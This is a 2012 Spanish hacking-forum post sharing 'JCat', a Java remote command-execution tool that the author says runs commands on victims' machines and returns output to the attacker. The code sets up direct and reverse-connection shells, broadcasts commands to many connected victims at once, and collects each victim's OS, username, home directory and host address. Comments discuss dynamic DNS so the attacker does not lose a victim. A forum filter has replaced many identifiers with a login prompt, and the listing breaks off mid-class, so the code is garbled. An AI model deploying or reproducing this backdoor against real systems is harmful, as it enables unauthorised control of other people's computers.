JCat Conexión Inversa y Directa

  • 2 Respuestas
  • 3728 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Michb

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

JCat Conexión Inversa y Directa

  • en: Octubre 16, 2012, 08:53:03 am
JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo. Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante.

es necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac JCat.java. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code.

Código: Java
  1.  
  2. import java.io.DataInputStream;
  3. import java.io.DataOutputStream;
  4. import java.io.IOException;
  5. import java.net.ServerSocket;
  6. import java.net.Socket;
  7. import java.io.BufferedReader;
  8. import java.io.InputStreamReader;
  9. import java.util.ArrayList;
  10. import java.util.Random;
  11. import java.net.InetAddress;
  12.  
  13. /*
  14.  * -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
  15.  * cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
  16.  * datos Salida. El Servidor la recive y la procesa
  17.  *
  18.  * Ventaja: Ninguna.
  19.  *
  20.  * Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
  21.  * hay que abrir un puerto en el router de la victima.
  22.  * -----------------------------------------------------------------------------
  23.  *
  24.  * -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
  25.  * Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
  26.  * datos por su Salida. El Cliente la recive y la procesa
  27.  *
  28.  * Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
  29.  * actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
  30.  * puerto se habre en nuestro PC
  31.  *
  32.  * Desventaja: el puerto se habre en nuestro PC.
  33.  *
  34.  */
  35. class JCat {
  36.  
  37.     public static int You are not allowed to view links. Register or Login;
  38.     public static You are not allowed to view links. Register or Login IP;
  39.  
  40.     public static void main(You are not allowed to view links. Register or Login[] args) {
  41.  
  42.         if (true) {
  43.             if (args.length > 0) {
  44.                 //if (argsS1.equals("1") && argsS2.equals("1")) {
  45.                 if (args[0].equals("1") && args[1].equals("1")) {
  46.  
  47.                     ConexionDirectaServidor a = new ConexionDirectaServidor();
  48.                     a.start();
  49.                 }
  50.                 //if (argsS1.equals("1") && argsS2.equals("2")) {
  51.                 if (args[0].equals("1") && args[1].equals("2")) {
  52.                     ConexionDirectaCliente a = new ConexionDirectaCliente();
  53.                     a.start();
  54.                 }
  55.                 //if (argsS1.equals("2") && argsS2.equals("1")) {
  56.                 if (args[0].equals("2") && args[1].equals("1")) {
  57.                     ConexionInversaServidor a = new ConexionInversaServidor();
  58.                     a.setMode(2);
  59.                     a.start();
  60.  
  61.                 }
  62.                 //if (argsS1.equals("2") && argsS2.equals("2")) {
  63.                 if (args[0].equals("2") && args[1].equals("2")) {
  64.                     ConexionInversaCliente a = new ConexionInversaCliente();
  65.                     a.start();
  66.                 }
  67.  
  68.                 if(args[2] != null){
  69.                     You are not allowed to view links. Register or Login = (You are not allowed to view links. Register or Login.parseInt(args[2]));
  70.  
  71.                 }
  72.  
  73.                 try{
  74.                     if(args[3] != null){
  75.                         IP = args[3];
  76.                     }else{
  77.                         IP = "";
  78.                     }
  79.                 }catch(You are not allowed to view links. Register or Login e){}
  80.  
  81.             }else {
  82.                 You are not allowed to view links. Register or Login.out.println("                                    ");
  83.                 You are not allowed to view links. Register or Login.out.println("                                Uo              ");
  84.                 You are not allowed to view links. Register or Login.out.println("                                Mb$QU               ");
  85.                 You are not allowed to view links. Register or Login.out.println("                           MMMMMMMMMMMM$            ");
  86.                 You are not allowed to view links. Register or Login.out.println("                         [email protected]$EIMMMMMMMMMM#        ");
  87.                 You are not allowed to view links. Register or Login.out.println("                   MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#[email protected]     ");
  88.                 You are not allowed to view links. Register or Login.out.println("               [email protected]@@@@@@#@$#[email protected]#@MME  :[email protected]       ");
  89.                 You are not allowed to view links. Register or Login.out.println("           [email protected]@@@[email protected] iM#@      ");
  90.                 You are not allowed to view links. Register or Login.out.println("          MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM  .MMMME  M#[email protected]     ");
  91.                 You are not allowed to view links. Register or Login.out.println("        #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$  8MWQE$M   ");
  92.                 You are not allowed to view links. Register or Login.out.println("       AMMMM#@[email protected]:   0MWWEE9W   ");
  93.                 You are not allowed to view links. Register or Login.out.println("      :MMM#@[email protected]#IoU#MMBBWW0Q6,..    ");
  94.                 You are not allowed to view links. Register or Login.out.println("     CMMM#[email protected]@$#$$WE7:,,.    ");
  95.                 You are not allowed to view links. Register or Login.out.println("    .MMM#[email protected]@#087i....      ");
  96.                 You are not allowed to view links. Register or Login.out.println("    [email protected];,..              ");
  97.                 You are not allowed to view links. Register or Login.out.println("   0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:....                          ");
  98.                 You are not allowed to view links. Register or Login.out.println("   MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,.                         ");
  99.                 You are not allowed to view links. Register or Login.out.println("  XMMMMMMMMMMMMMMMMMMMMMM8Y,    ,MMMM#.,;i..                        ");
  100.                 You are not allowed to view links. Register or Login.out.println("  MMMMMMMMMMMMMMMMMMMMM#c.  ...  .MMMM8 ,;i..                       ");
  101.                 You are not allowed to view links. Register or Login.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMM$7..,.  [email protected]                      ");
  102.                 You are not allowed to view links. Register or Login.out.println("  [email protected],,:  :b$$QY;i,..                 ");
  103.                 You are not allowed to view links. Register or Login.out.println("  [email protected] YE BWEbWE;i,..            ");
  104.                 You are not allowed to view links. Register or Login.out.println("  MMMMMMMMMMMMM7.......,[email protected]@@@MM$o9;i,..            ");
  105.                 You are not allowed to view links. Register or Login.out.println("  MMMMMMMMMMMM,.,,           ,vb#[email protected]@MM9Y;i,..            ");
  106.                 You are not allowed to view links. Register or Login.out.println("  MMMMMMMMMMM.,i,.               .6W$1#MMM;i,..             ");
  107.                 You are not allowed to view links. Register or Login.out.println("  MMMMMMMMMM:,i:.                    1#MMM;i,..             ");
  108.                 You are not allowed to view links. Register or Login.out.println("  $MMMMMMMMC.ii..                                       ");
  109.                 You are not allowed to view links. Register or Login.out.println("  [email protected],:;,.                                        ");
  110.                 You are not allowed to view links. Register or Login.out.println("   MMMMMMMU.;i,.                        JCat v1     ");
  111.                 You are not allowed to view links. Register or Login.out.println("   EMMMMMM7.;i..          ..            Developed by MichB              ");
  112.                 You are not allowed to view links. Register or Login.out.println("    MMMMMMC.c:,  [email protected]:..:..         18/06/12            ");
  113.                 You are not allowed to view links. Register or Login.out.println("    XMMMMMz.;;. [email protected],.i:,.                   ");
  114.                 You are not allowed to view links. Register or Login.out.println("     [email protected]:;,.MM.     ,b$9,.i:,                                   ");
  115.                 You are not allowed to view links. Register or Login.out.println("      @MMMM6 :[email protected]  :8C  Ubo..i,.                                  ");
  116.                 You are not allowed to view links. Register or Login.out.println("       @[email protected]:.,Z#bE$8,. vSU,.i:.                                  ");
  117.                 You are not allowed to view links. Register or Login.out.println("        [email protected],..,:..    X1ti.;:.                      ");
  118.                 You are not allowed to view links. Register or Login.out.println("         ;@[email protected]#9Xi,.....inzn7,;i,.                                  ");
  119.                 You are not allowed to view links. Register or Login.out.println("           [email protected]@##BbEbbZ8A6S7,i:,.                                   ");
  120.                 You are not allowed to view links. Register or Login.out.println("             .X600QEb6ASCi,...                                      ");
  121.  
  122.                 You are not allowed to view links. Register or Login.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n");
  123.                 //cliente envia comando y recive respuesta del servidor
  124.                 You are not allowed to view links. Register or Login.out.println("Servidor Conexion Directa -> java JCat 1 1 5000               <- Victima");
  125.                 You are not allowed to view links. Register or Login.out.println("Cliente Conexion Directa  -> java JCat 1 2 5000 192.168.12.2  <- Atacante");
  126.  
  127.                 You are not allowed to view links. Register or Login.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n");
  128.                 //servidor envia comando y recive respuesta del cliente
  129.                 You are not allowed to view links. Register or Login.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000               <- Atacante");
  130.                 You are not allowed to view links. Register or Login.out.println("Cliente Conexion Inversa  -> java JCat 2 2 5000 192.168.12.2  <- Victima\n");
  131.                 You are not allowed to view links. Register or Login.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
  132.                 You are not allowed to view links. Register or Login.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
  133.                 You are not allowed to view links. Register or Login.out.println("\tNo hay limite de clientes para los 2 Modos\n");
  134.                 You are not allowed to view links. Register or Login.exit(-1);
  135.                 //}
  136.             }
  137.         }
  138.     }
  139. }
  140. class ConexionDirectaServidor extends You are not allowed to view links. Register or Login{
  141.  
  142.     private You are not allowed to view links. Register or Login escucha3;
  143.     private You are not allowed to view links. Register or Login conexion3;
  144.     //private static Thread hebraServidor3;
  145.     //private static String mensaje3;
  146.  
  147.     private int veces=0;
  148.     static ArrayList<Integer> HASHs = new ArrayList<Integer>();
  149.  
  150.     ConexionDirectaServidor(){}
  151.  
  152.     ConexionDirectaServidor(int veces){
  153.         this.veces = veces;
  154.     }
  155.  
  156.     public void run () {
  157.  
  158.         try {
  159.             int puerto = JCat.You are not allowed to view links. Register or Login;
  160.             //int puerto = 5000;
  161.             escucha3 = new You are not allowed to view links. Register or Login(puerto);
  162.             You are not allowed to view links. Register or Login br = null;
  163.             You are not allowed to view links. Register or Login sTexto = "";
  164.  
  165.             You are not allowed to view links. Register or Login.out.println("\n*---------------------------------*");
  166.             You are not allowed to view links. Register or Login.out.println("*       Conexión D. SERVIDOR      *");
  167.             You are not allowed to view links. Register or Login.out.println("*---------------------------------*\n");
  168.             You are not allowed to view links. Register or Login.out.println("Escuchando en el puerto: " + puerto +"\n");
  169.             You are not allowed to view links. Register or Login.out.println("Servidor a la escucha...\n");
  170.             You are not allowed to view links. Register or Login.out.println("\nEscriba en el Cliente...");
  171.             if(puerto == 0){
  172.                 You are not allowed to view links. Register or Login.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n");
  173.                 try {
  174.                     this.sleep(3000);
  175.                 } catch (You are not allowed to view links. Register or Login exa) {
  176.                     You are not allowed to view links. Register or Login.out.println(exa);
  177.                 }
  178.                 You are not allowed to view links. Register or Login.out.println("Intento: "+veces+"\n");
  179.                 ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
  180.                 a.start();
  181.             }
  182.  
  183.             while (true) {
  184.                 conexion3 = escucha3.accept();
  185.                 //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
  186.  
  187.                 You are not allowed to view links. Register or Login nuevoCliente = new HiloDeCliente(conexion3);
  188.  
  189.                 You are not allowed to view links. Register or Login hilo = new You are not allowed to view links. Register or Login(nuevoCliente);
  190.  
  191.                 hilo.start();
  192.                 try {
  193.                     hilo.sleep(2000);
  194.                 } catch (You are not allowed to view links. Register or Login exa) {
  195.                     You are not allowed to view links. Register or Login.out.println(exa);
  196.                 }
  197.  
  198.             }
  199.         } catch (You are not allowed to view links. Register or Login ex) {
  200.             You are not allowed to view links. Register or Login.out.println("Mensaje de Error! -> "+ex);
  201.             if(ex.equals("java.net.BindException: Address already in use")){
  202.                 You are not allowed to view links. Register or Login.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
  203.             }
  204.         }
  205.  
  206.     }
  207. }
  208.  
  209. // Implementa Runnable para poder ser lanzada en un hilo aparte
  210. class HiloDeCliente implements You are not allowed to view links. Register or Login
  211. {
  212.     // En el constructor recibe y guarda los parámetros que sean necesarios.
  213.     // En este caso una lista con toda la conversación y el socket que debe
  214.     // atender.
  215.     private You are not allowed to view links. Register or Login osName = You are not allowed to view links. Register or Login.getProperty ( "os.name" );
  216.     private You are not allowed to view links. Register or Login Arch = You are not allowed to view links. Register or Login.getProperty ( "os.arch" );
  217.     private You are not allowed to view links. Register or Login Version = You are not allowed to view links. Register or Login.getProperty ( "os.version" );
  218.  
  219.     private You are not allowed to view links. Register or Login SP = You are not allowed to view links. Register or Login.getProperty ( "sun.os.patch.level" );
  220.     private You are not allowed to view links. Register or Login Country = You are not allowed to view links. Register or Login.getProperty ( "user.country" );
  221.     private You are not allowed to view links. Register or Login dirUserHome = You are not allowed to view links. Register or Login.getProperty ( "user.home" );
  222.     private You are not allowed to view links. Register or Login Lang = You are not allowed to view links. Register or Login.getProperty ( "user.language" );
  223.     private You are not allowed to view links. Register or Login userName = You are not allowed to view links. Register or Login.getProperty ( "user.name" );
  224.     private You are not allowed to view links. Register or Login VersionJV = You are not allowed to view links. Register or Login.getProperty ( "java.vm.version" );
  225.     private You are not allowed to view links. Register or Login Direccion;
  226.     private You are not allowed to view links. Register or Login Direccion2;
  227.     private You are not allowed to view links. Register or Login[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
  228.     private You are not allowed to view links. Register or Login conexion3;
  229.     private int HASH;
  230.     public HiloDeCliente(You are not allowed to view links. Register or Login socket)
  231.     {
  232.         try{
  233.             You are not allowed to view links. Register or Login address = You are not allowed to view links. Register or Login.getLocalHost();
  234.             You are not allowed to view links. Register or Login Direccion = address.getHostAddress();
  235.             You are not allowed to view links. Register or Login Direccion2 = address.getCanonicalHostName();
  236.         } catch (java.net.You are not allowed to view links. Register or Login e) {
  237.         }
  238.         conexion3 = socket;
  239.     }
  240.  
  241.     public void run ()
  242.     {
  243.  
  244.         try {  
  245.             You are not allowed to view links. Register or Login entrada = new You are not allowed to view links. Register or Login(conexion3.getInputStream());
  246.             You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(conexion3.getOutputStream());
  247.  
  248.             You are not allowed to view links. Register or Login.out.println("\nCliente Conectado...");
  249.  
  250.             HASH = entrada.readInt();
  251.             You are not allowed to view links. Register or Login.out.println("Identificador del Cliente: "+HASH);
  252.  
  253.             if(!ConexionDirectaServidor.HASHs.contains(HASH)){
  254.                 ConexionDirectaServidor.HASHs.add(HASH);
  255.  
  256.                 for(int i=0;i<arrayDatos.length;i++)
  257.                     if(arrayDatos[i]==null)
  258.                         arrayDatos[i]="null";
  259.                 salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
  260.                     + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
  261.                     + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]);
  262.             }
  263.  
  264.             You are not allowed to view links. Register or Login comando = entrada.readUTF();
  265.             You are not allowed to view links. Register or Login.out.println("Comando del Cliente: " + comando);
  266.             new Ejecutor().executeCommand(comando, false, conexion3);
  267.             // Código para atender al cliente.
  268.         } catch (You are not allowed to view links. Register or Login ex) {
  269.             //System.out.println(ex);
  270.         }
  271.  
  272.         //System.out.println("Cierre de conexion del cliente");
  273.     }
  274.  
  275. }
  276.  
  277. class ConexionDirectaCliente extends You are not allowed to view links. Register or Login {
  278.  
  279.     private You are not allowed to view links. Register or Login conexion4;
  280.     private static You are not allowed to view links. Register or Login hebraServidor4;
  281.     private static You are not allowed to view links. Register or Login mensaje3;
  282.     private You are not allowed to view links. Register or Login rnd = new You are not allowed to view links. Register or Login();
  283.     private int HASH;
  284.     private boolean continuar=true;
  285.     private int contador;
  286.     ConexionDirectaCliente(){
  287.         HASH = (rnd.nextInt() * 10000);
  288.         contador=0;
  289.     }
  290.  
  291.     public void run() {
  292.         //System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
  293.         //System.out.println("Solo Envio al Servidor");
  294.         You are not allowed to view links. Register or Login.out.println("\n*---------------------------------*");
  295.         You are not allowed to view links. Register or Login.out.println("*       Conexión D. CLIENTE       *");
  296.         You are not allowed to view links. Register or Login.out.println("*---------------------------------*\n");
  297.  
  298.         if(continuar){
  299.             while (true) {
  300.  
  301.                 You are not allowed to view links. Register or Login ip = JCat.IP;
  302.                 //String ip = "192.168.13.240";
  303.                 int puerto = JCat.You are not allowed to view links. Register or Login;
  304.                 //int puerto = 5000;
  305.                 try {
  306.  
  307.                     conexion4 = new You are not allowed to view links. Register or Login(ip, puerto);
  308.                     You are not allowed to view links. Register or Login br = null;
  309.                     You are not allowed to view links. Register or Login sTexto = "";
  310.  
  311.                     You are not allowed to view links. Register or Login entrada = new You are not allowed to view links. Register or Login(conexion4.getInputStream());
  312.                     You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(conexion4.getOutputStream());
  313.                     //enviamos
  314.                     salida.writeInt(HASH);
  315.  
  316.                     //salida.writeUTF(System.getProperty("os.name"));
  317.                     //salida.writeUTF(System.getProperty("user.name"));
  318.                     //recivimos
  319.                     //System.out.println("lo recivo yo el Cliente " + entrada.readUTF());
  320.  
  321.                     br = new You are not allowed to view links. Register or Login(new You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login.in));
  322.  
  323.                     You are not allowed to view links. Register or Login.out.println("Conectado al Servidor...\n");
  324.                     You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  325.                     You are not allowed to view links. Register or Login.out.println("| Mi Identificador: "+HASH);
  326.                     You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  327.  
  328.                     if(contador==0){
  329.  
  330.                         You are not allowed to view links. Register or Login.out.println("| <ul class="bbc_list"><li type="square"> Información del Servidor </li><li type="square"> |");[/li][/list]
  331.                         You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  332.                         You are not allowed to view links. Register or Login.out.println(entrada.readUTF());
  333.                         You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  334.                         contador++;
  335.                     }
  336.                     try {
  337.                         You are not allowed to view links. Register or Login.out.printf("\tComando: %s",sTexto = br.readLine());
  338.  
  339.                         //enviamos
  340.                         salida.writeUTF(sTexto);
  341.                     } catch (You are not allowed to view links. Register or Login io) {
  342.                         io.printStackTrace();
  343.                     }
  344.                     //COMANDOS
  345.                     You are not allowed to view links. Register or Login.out.println(entrada.readUTF());
  346.  
  347.                 } catch (You are not allowed to view links. Register or Login ex) {
  348.  
  349.                     //break;
  350.                     if(ex.getMessage().equals("Can't assign requested address")){
  351.  
  352.                         You are not allowed to view links. Register or Login.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
  353.                         try {
  354.                             this.sleep(3000);
  355.                         } catch (You are not allowed to view links. Register or Login exa) {
  356.                             You are not allowed to view links. Register or Login.out.println(exa);
  357.                         }
  358.  
  359.                         ConexionDirectaCliente a = new ConexionDirectaCliente();
  360.                         a.start();
  361.                         continuar =  false;
  362.                         break;
  363.                     }
  364.                 }
  365.  
  366.             }
  367.         }
  368.     }
  369. }
  370.  
  371. class ConexionInversaServidor extends You are not allowed to view links. Register or Login {
  372.     private You are not allowed to view links. Register or Login escucha3;
  373.     static You are not allowed to view links. Register or Login conexion3;
  374.     //private static Thread hebraServidor3;
  375.     //private static String mensaje3;
  376.     //private String MSJ=null;
  377.  
  378.     //static primera a;
  379.     //static String textoTeclado;
  380.     static ArrayList<Integer> HASHs = new ArrayList<Integer>();
  381.     static ArrayList<Socket> p = new ArrayList<Socket>();
  382.  
  383.     static int Mode;
  384.     private boolean continuar=true;
  385.     private int HASH;
  386.     boolean debugging=true;
  387.     int contador=0;
  388.     public void setMode(int predefinido){
  389.  
  390.         try{
  391.             try{
  392.                 if(predefinido==2){
  393.                     You are not allowed to view links. Register or Login br = null;
  394.                     You are not allowed to view links. Register or Login sTexto="";
  395.                     You are not allowed to view links. Register or Login.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
  396.                     br = new You are not allowed to view links. Register or Login(new You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login.in));
  397.  
  398.                     You are not allowed to view links. Register or Login.out.printf("\tModo: (%s) \n",sTexto = br.readLine());
  399.                     Mode=You are not allowed to view links. Register or Login.parseInt(sTexto);
  400.                 }else{
  401.                     Mode=predefinido;
  402.                 }
  403.  
  404.             } catch (You are not allowed to view links. Register or Login exe) {
  405.                 You are not allowed to view links. Register or Login.out.println("Mensaje de Error! -> "+exe.getMessage());
  406.             }
  407.         } catch (You are not allowed to view links. Register or Login ex) {
  408.             You are not allowed to view links. Register or Login.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
  409.         }
  410.     }
  411.  
  412.     public void run() {
  413.         try {
  414.  
  415.             int puerto = JCat.You are not allowed to view links. Register or Login;
  416.             escucha3 = new You are not allowed to view links. Register or Login(puerto);
  417.  
  418.             You are not allowed to view links. Register or Login.out.println("\n*---------------------------------*");
  419.             You are not allowed to view links. Register or Login.out.println("*       Conexión I. SERVIDOR      *");
  420.             You are not allowed to view links. Register or Login.out.println("*---------------------------------*\n");
  421.             You are not allowed to view links. Register or Login.out.println("Escuchando en el puerto: " + puerto +"\n");
  422.             if(puerto == 0){
  423.                 continuar =  false;
  424.                 You are not allowed to view links. Register or Login.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n");
  425.                 try {
  426.                     this.sleep(3000);
  427.                 } catch (You are not allowed to view links. Register or Login exa) {
  428.                     You are not allowed to view links. Register or Login.out.println(exa);
  429.                 }
  430.                 ConexionInversaServidor a = new ConexionInversaServidor();
  431.                 a.setMode(Mode);
  432.                 a.start();
  433.  
  434.             }
  435.             if(continuar){
  436.                 You are not allowed to view links. Register or Login.out.println("Servidor a la escucha...\n");
  437.                 Teclado Teclad = new Teclado();
  438.                 Teclad.start();
  439.                 while (true) {
  440.  
  441.                     conexion3 = escucha3.accept();
  442.                     You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(conexion3.getOutputStream());
  443.                     You are not allowed to view links. Register or Login entrada = new You are not allowed to view links. Register or Login(conexion3.getInputStream());
  444.                     //System.out.println("INICIO");
  445.                     HASH =entrada.readInt();
  446.  
  447.                     You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  448.                     You are not allowed to view links. Register or Login.out.println("| ID Cliente: "+HASH);
  449.                     You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  450.  
  451.                     if(!HASHs.contains(HASH)){
  452.                     HASHs.add(HASH);
  453.                     You are not allowed to view links. Register or Login.out.println("| </li><li type="square"> Información del Cliente </li><li type="square"> |");[/li][/list]
  454.                     You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  455.                     You are not allowed to view links. Register or Login.out.println(entrada.readUTF());
  456.                     You are not allowed to view links. Register or Login.out.println("-----------------------------------");
  457.  
  458.                     }
  459.                    
  460.                     if(contador==0){
  461.  
  462.                         contador++;
  463.                     }
  464.  
  465.                     //System.out.println("Tamaño -> "+p.size() );
  466.                     primera Conexion = new primera(conexion3);
  467.  
  468.                     //Thread hilo1 = new Thread(Conexion);
  469.                     Conexion.start();
  470.  
  471.                     p.add(conexion3);
  472.                     if(debugging)
  473.                         You are not allowed to view links. Register or Login.out.println("añadidos al array "+p.size());
  474.                     //System.out.println("FIN");
  475.  
  476.                 }
  477.             }
  478.         } catch (You are not allowed to view links. Register or Login ex) {
  479.             ex.printStackTrace();
  480.         }
  481.     }
  482.  
  483.     static public void envioTextoTeclado0(You are not allowed to view links. Register or Login sTexto) {
  484.  
  485.         //System.out.println("Comprobacion 2 Tamaño -> "+p.size() );
  486.  
  487.         if(Mode == 0){
  488.             try{
  489.                 for(int i=0;i<p.size();i++){
  490.                     You are not allowed to view links. Register or Login con = p.get(i);
  491.  
  492.                     //System.out.println("Cliente: "+i);
  493.                     You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(con.getOutputStream());
  494.                     You are not allowed to view links. Register or Login entrada = new You are not allowed to view links. Register or Login(con.getInputStream());
  495.  
  496.                     salida.writeUTF(sTexto);
  497.                     You are not allowed to view links. Register or Login.out.println(entrada.readUTF());
  498.  
  499.                     synchronized (p.get(i)) {
  500.                         //System.out.println("Soy 2 desperte a uno");
  501.                         p.get(i).notify();
  502.                         //System.out.println("Soy 2 y continua uno");
  503.  
  504.                     }
  505.  
  506.                     p.remove(p.get(i));
  507.  
  508.                 }
  509.                 //System.out.println("hashcode -> "+p.get(0).hashCode() );
  510.                 //System.out.println("hashcode -> "+p.get(1).hashCode() );
  511.  
  512.             } catch (You are not allowed to view links. Register or Login ex) {
  513.                 ex.printStackTrace();
  514.             }
  515.         }
  516.         if(Mode == 1){
  517.             try{
  518.                 for(int i=0;i<p.size();i++){
  519.  
  520.                     You are not allowed to view links. Register or Login con = p.get(i);
  521.  
  522.                     //System.out.println("Cliente: "+i);
  523.                     You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(con.getOutputStream());
  524.                     You are not allowed to view links. Register or Login entrada = new You are not allowed to view links. Register or Login(con.getInputStream());
  525.  
  526.                     salida.writeUTF(sTexto);
  527.                     You are not allowed to view links. Register or Login.out.println(entrada.readUTF());
  528.  
  529.                 }
  530.                 for(int i=0;i<p.size();i++){
  531.                     synchronized (p.get(i)) {
  532.  
  533.                         //System.out.println("Soy 2 desperte a uno");
  534.                         p.get(i).notify();
  535.  
  536.                         //System.out.println("Soy 2 y continua uno");
  537.                     }
  538.                 }
  539.  
  540.                 //p.remove(p.get(0));
  541.                 //p.remove(p.get(1));
  542.  
  543.                 //System.out.println("hashcode -> "+p.get(0).hashCode() );
  544.                 //System.out.println("hashcode -> "+p.get(1).hashCode() );
  545.  
  546.             } catch (You are not allowed to view links. Register or Login ex) {
  547.                 ex.printStackTrace();
  548.             }
  549.         }
  550.     }
  551.     /**
  552.  
  553.      */
  554.  
  555. }
  556. class primera extends You are not allowed to view links. Register or Login {
  557.     private You are not allowed to view links. Register or Login conexion3;
  558.     boolean debugging=true;
  559.     primera(You are not allowed to view links. Register or Login socket){
  560.         conexion3 = socket;
  561.         if(debugging)
  562.             You are not allowed to view links. Register or Login.out.println("Me llamo "+getName());
  563.     }
  564.  
  565.     public void run() {
  566.         synchronized (conexion3) {
  567.  
  568.             if(debugging)
  569.                 You are not allowed to view links. Register or Login.out.println("uno me voy a dormir");
  570.  
  571.             try {
  572.                 conexion3.wait();
  573.  
  574.             } catch (You are not allowed to view links. Register or Login ex) {
  575.  
  576.                 You are not allowed to view links. Register or Login.out.println(ex);
  577.             }
  578.  
  579.             if(debugging)
  580.                 You are not allowed to view links. Register or Login.out.println("uno me desperte");
  581.  
  582.             if(ConexionInversaServidor.Mode == 1){
  583.                 if(debugging)
  584.                     You are not allowed to view links. Register or Login.out.println(ConexionInversaServidor.p.get(0).hashCode());
  585.  
  586.                 ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));
  587.  
  588.                 if(debugging)
  589.                     You are not allowed to view links. Register or Login.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n");
  590.  
  591.             }
  592.         }
  593.     }
  594. }
  595.  
  596. class Teclado extends You are not allowed to view links. Register or Login
  597. {
  598.     private You are not allowed to view links. Register or Login br = null;
  599.     private You are not allowed to view links. Register or Login sTexto = "";
  600.     private int contador=0;
  601.  
  602.     public void run(){
  603.         boolean t=true;
  604.         while(t){
  605.             try{
  606.                 You are not allowed to view links. Register or Login.out.println("nombre:"+getName());
  607.                 try {
  608.                     this.sleep(300);
  609.                 } catch (You are not allowed to view links. Register or Login exa) {
  610.                     You are not allowed to view links. Register or Login.out.println(exa);
  611.                 }
  612.                 You are not allowed to view links. Register or Login.out.println("Teclee Comandos:");
  613.                 br = new You are not allowed to view links. Register or Login(new You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login.in));
  614.  
  615.                 You are not allowed to view links. Register or Login.out.printf("\tComando: %s \n",sTexto = br.readLine());
  616.  
  617.                 if(sTexto=="fin"){
  618.                     t=false;
  619.                     You are not allowed to view links. Register or Login.exit(-1);
  620.                 }
  621.                 ConexionInversaServidor.envioTextoTeclado0(sTexto);
  622.  
  623.             } catch (You are not allowed to view links. Register or Login ex) {
  624.                 You are not allowed to view links. Register or Login.out.println(ex);
  625.             }
  626.         }
  627.  
  628.     }
  629. }
  630. class ConexionInversaCliente extends You are not allowed to view links. Register or Login {
  631.     private You are not allowed to view links. Register or Login conexion4;
  632.     private static You are not allowed to view links. Register or Login hebraServidor4;
  633.  
  634.     private You are not allowed to view links. Register or Login rnd = new You are not allowed to view links. Register or Login();
  635.     private int HASH;
  636.     private int contador;
  637.     private You are not allowed to view links. Register or Login osName = You are not allowed to view links. Register or Login.getProperty ( "os.name" );
  638.     private You are not allowed to view links. Register or Login Arch = You are not allowed to view links. Register or Login.getProperty ( "os.arch" );
  639.     private You are not allowed to view links. Register or Login Version = You are not allowed to view links. Register or Login.getProperty ( "os.version" );
  640.  
  641.     private You are not allowed to view links. Register or Login SP = You are not allowed to view links. Register or Login.getProperty ( "sun.os.patch.level" );
  642.     private You are not allowed to view links. Register or Login Country = You are not allowed to view links. Register or Login.getProperty ( "user.country" );
  643.     private You are not allowed to view links. Register or Login dirUserHome = You are not allowed to view links. Register or Login.getProperty ( "user.home" );
  644.     private You are not allowed to view links. Register or Login Lang = You are not allowed to view links. Register or Login.getProperty ( "user.language" );
